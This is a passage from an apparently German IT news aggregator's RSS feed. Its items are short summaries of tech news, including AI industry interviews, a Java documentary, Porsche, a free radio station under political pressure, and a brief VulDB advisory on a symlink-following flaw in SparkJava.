inside explicit boundaries, while engineers remain responsible for the semantics, policies, and consequential decisions that require domain accountability."</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mark Zuckerberg Blasts Centralization of A.I. Power]]></title>
<description><![CDATA[In an interview with The Times, Meta’s chief executive took aim at Anthropic and OpenAI, which have pushed to tightly control A.I. development, and said he supported “more openness.”]]></description>
<link>https://tsecurity.de/de/3696584/it-nachrichten/mark-zuckerberg-blasts-centralization-of-ai-power/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3696584/it-nachrichten/mark-zuckerberg-blasts-centralization-of-ai-power/</guid>
<pubDate>Mon, 03 Aug 2026 00:02:13 +0200</pubDate>
<content:encoded><![CDATA[In an interview with The Times, Meta’s chief executive took aim at Anthropic and OpenAI, which have pushed to tightly control A.I. development, and said he supported “more openness.”]]></content:encoded>
</item>
<item>
<title><![CDATA[Fender’s CEO seems to think your bandmates are just analog AI]]></title>
<description><![CDATA[Fender CEO Edward "Bud" Cole gave an interview to T3 in May celebrating the 75th anniversary of the Telecaster with comments on AI and music that initially flew under the radar. But it has started making the rounds recently, pouring more fuel on an already raging fire of bad PR following the comp...]]></description>
<link>https://tsecurity.de/de/3696410/it-nachrichten/fenders-ceo-seems-to-think-your-bandmates-are-just-analog-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3696410/it-nachrichten/fenders-ceo-seems-to-think-your-bandmates-are-just-analog-ai/</guid>
<pubDate>Mon, 03 Aug 2026 00:02:10 +0200</pubDate>
<content:encoded><![CDATA[Fender CEO Edward "Bud" Cole gave an interview to T3 in May celebrating the 75th anniversary of the Telecaster with comments on AI and music that initially flew under the radar. But it has started making the rounds recently, pouring more fuel on an already raging fire of bad PR following the company pissing off […]]]></content:encoded>
</item>
<item>
<title><![CDATA[The Java Story – Die offizielle Video-Doku zu über 30 Jahren Java]]></title>
<description><![CDATA[Nachdem Java im Jahr 2025 den 30ten Geburtstag hatte, wurde nun mit „The Java Story“ die offizielle Video-Dokumentation zur Geschichte der beliebten Programmiersprache veröffentlicht. Das fast 2-stündige Video erzählt die Geschichte von Java von den Anfängen als Projekt Oak bis zum heutigen Statu...]]></description>
<link>https://tsecurity.de/de/3696385/it-nachrichten/the-java-story-die-offizielle-video-doku-zu-ueber-30-jahren-java/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3696385/it-nachrichten/the-java-story-die-offizielle-video-doku-zu-ueber-30-jahren-java/</guid>
<pubDate>Mon, 03 Aug 2026 00:02:08 +0200</pubDate>
<content:encoded><![CDATA[Nachdem Java im Jahr 2025 den 30ten Geburtstag hatte, wurde nun mit „The Java Story“ die offizielle Video-Dokumentation zur Geschichte der beliebten Programmiersprache veröffentlicht. Das fast 2-stündige Video erzählt die Geschichte von Java von den Anfängen als Projekt Oak bis zum heutigen Status mit vielen wichtigen Playern, u.a. dem Erfinder James Gosling. Um keine News … <a href="https://innovative-trends.de/2026/07/31/the-java-story-die-offizielle-video-doku-zu-ueber-30-jahren-java/" class="more-link"><span class="screen-reader-text">The Java Story – Die offizielle Video-Doku zu über 30 Jahren Java</span> weiterlesen</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Porsche Taycan: Statement zum möglichen Ende des Elektroautos]]></title>
<description><![CDATA[Stellt Porsche sein erstes Elektroauto, den Taycan, in Zukunft ein? Möglich wäre es, denn diese Meldung machte vor ein paar Tagen nicht das erste Mal die Runde. Im Interview mit …]]></description>
<link>https://tsecurity.de/de/3696296/it-nachrichten/porsche-taycan-statement-zum-moeglichen-ende-des-elektroautos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3696296/it-nachrichten/porsche-taycan-statement-zum-moeglichen-ende-des-elektroautos/</guid>
<pubDate>Mon, 03 Aug 2026 00:01:59 +0200</pubDate>
<content:encoded><![CDATA[<img width="1600" height="1100" src="https://i0.wp.com/www.mobiflip.de/wp-content/uploads/2026/07/porsche-taycan-2026-header.jpg?fit=1600%2C1100&amp;ssl=1" class="attachment-full size-full wp-post-image" alt="" decoding="async" loading="lazy" srcset="https://i0.wp.com/www.mobiflip.de/wp-content/uploads/2026/07/porsche-taycan-2026-header.jpg?w=1600&amp;ssl=1 1600w, https://i0.wp.com/www.mobiflip.de/wp-content/uploads/2026/07/porsche-taycan-2026-header.jpg?resize=690%2C474&amp;ssl=1 690w" sizes="(max-width: 1600px) 100vw, 1600px">
Stellt Porsche sein erstes Elektroauto, den Taycan, in Zukunft ein? Möglich wäre es, denn diese Meldung machte vor ein paar Tagen nicht das erste Mal die Runde. Im Interview mit …]]></content:encoded>
</item>
<item>
<title><![CDATA[Freier Radiosender Corax: „Die AfD will uns zermürben. Das lassen wir nicht zu“]]></title>
<description><![CDATA[Radio Corax wird stellvertretend für kritische Medien und demokratische Öffentlichkeit angegriffen.    –   Alle Rechte vorbehalten: Marcus-Andreas MohrIn Sachsen-Anhalt könnte die AfD die Landtagswahl gewinnen. Dem freien Radio Corax aus Halle will der rechtsextreme Landesverband die Finanzierung...]]></description>
<link>https://tsecurity.de/de/3695949/it-nachrichten/freier-radiosender-corax-die-afd-will-uns-zermuerben-das-lassen-wir-nicht-zu/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695949/it-nachrichten/freier-radiosender-corax-die-afd-will-uns-zermuerben-das-lassen-wir-nicht-zu/</guid>
<pubDate>Mon, 03 Aug 2026 00:01:30 +0200</pubDate>
<content:encoded><![CDATA[<figure class="wp-caption entry-thumbnail"><img width="1620" height="1080" src="https://cdn.netzpolitik.org/wp-upload/2026/07/IMG_5209b.jpg" class="attachment-landscape-860 size-landscape-860 wp-post-image" alt='Auf einer großen Fensterscheibe steht in Großbuchstaben "Radio Corax" geschrieben.' decoding="async" fetchpriority="high" srcset="https://cdn.netzpolitik.org/wp-upload/2026/07/IMG_5209b.jpg 1620w, https://cdn.netzpolitik.org/wp-upload/2026/07/IMG_5209b-726x484.jpg 726w, https://cdn.netzpolitik.org/wp-upload/2026/07/IMG_5209b-1013x675.jpg 1013w, https://cdn.netzpolitik.org/wp-upload/2026/07/IMG_5209b-1536x1024.jpg 1536w" sizes="(max-width: 1620px) 100vw, 1620px"><figcaption class="wp-caption-text">Radio Corax wird stellvertretend für kritische Medien und demokratische Öffentlichkeit angegriffen.  <span class="media-license-caption">  –   Alle Rechte vorbehalten: Marcus-Andreas Mohr</span></figcaption></figure>In Sachsen-Anhalt könnte die AfD die Landtagswahl gewinnen. Dem freien Radio Corax aus Halle will der rechtsextreme Landesverband die Finanzierung streichen. Was macht das mit den meist ehrenamtlichen Radiomacher:innen? Ein Interview über Medien im Visier von Rechtsextremen.]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI-Präsident zur Apple-Klage: „Wir sind selbst innovativ genug“]]></title>
<description><![CDATA[In einem Interview hat sich Greg Brockman einige Anmerkungen zum laufenden Verfahren Apples entlocken lassen. Der KI-Konzern gibt sich betont gelassen.]]></description>
<link>https://tsecurity.de/de/3695838/it-nachrichten/openai-praesident-zur-apple-klage-wir-sind-selbst-innovativ-genug/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695838/it-nachrichten/openai-praesident-zur-apple-klage-wir-sind-selbst-innovativ-genug/</guid>
<pubDate>Mon, 03 Aug 2026 00:01:23 +0200</pubDate>
<content:encoded><![CDATA[In einem Interview hat sich Greg Brockman einige Anmerkungen zum laufenden Verfahren Apples entlocken lassen. Der KI-Konzern gibt sich betont gelassen.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-17459 | perwendel spark up to 2.9.4 SparkJava ExternalResourceHandler.jav staticFiles.externalLocation symlink (Issue 1296 / EUVD-2026-49054)]]></title>
<description><![CDATA[A vulnerability classified as critical was found in perwendel spark up to 2.9.4. This vulnerability affects the function staticFiles.externalLocation of the file src/main/java/spark/resource/ExternalResourceHandler.jav of the component SparkJava. Executing a manipulation can lead to symlink follo...]]></description>
<link>https://tsecurity.de/de/3695626/sicherheitsluecken/cve-2026-17459-perwendel-spark-up-to-294-sparkjava-externalresourcehandlerjav-staticfilesexternallocation-symlink-issue-1296-euvd-2026-49054/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695626/sicherheitsluecken/cve-2026-17459-perwendel-spark-up-to-294-sparkjava-externalresourcehandlerjav-staticfilesexternallocation-symlink-issue-1296-euvd-2026-49054/</guid>
<pubDate>Sun, 26 Jul 2026 14:29:46 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> was found in <a href="https://vuldb.com/product/perwendel:spark">perwendel spark up to 2.9.4</a>. This vulnerability affects the function <code>staticFiles.externalLocation</code> of the file <em>src/main/java/spark/resource/ExternalResourceHandler.jav</em> of the component <em>SparkJava</em>. Executing a manipulation can lead to symlink following.

This vulnerability is registered as <a href="https://vuldb.com/cve/CVE-2026-17459">CVE-2026-17459</a>. It is possible to launch the attack remotely. Furthermore, an exploit is available.

The project was informed of the problem early through an issue report but has not responded yet.]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 16,41ms -->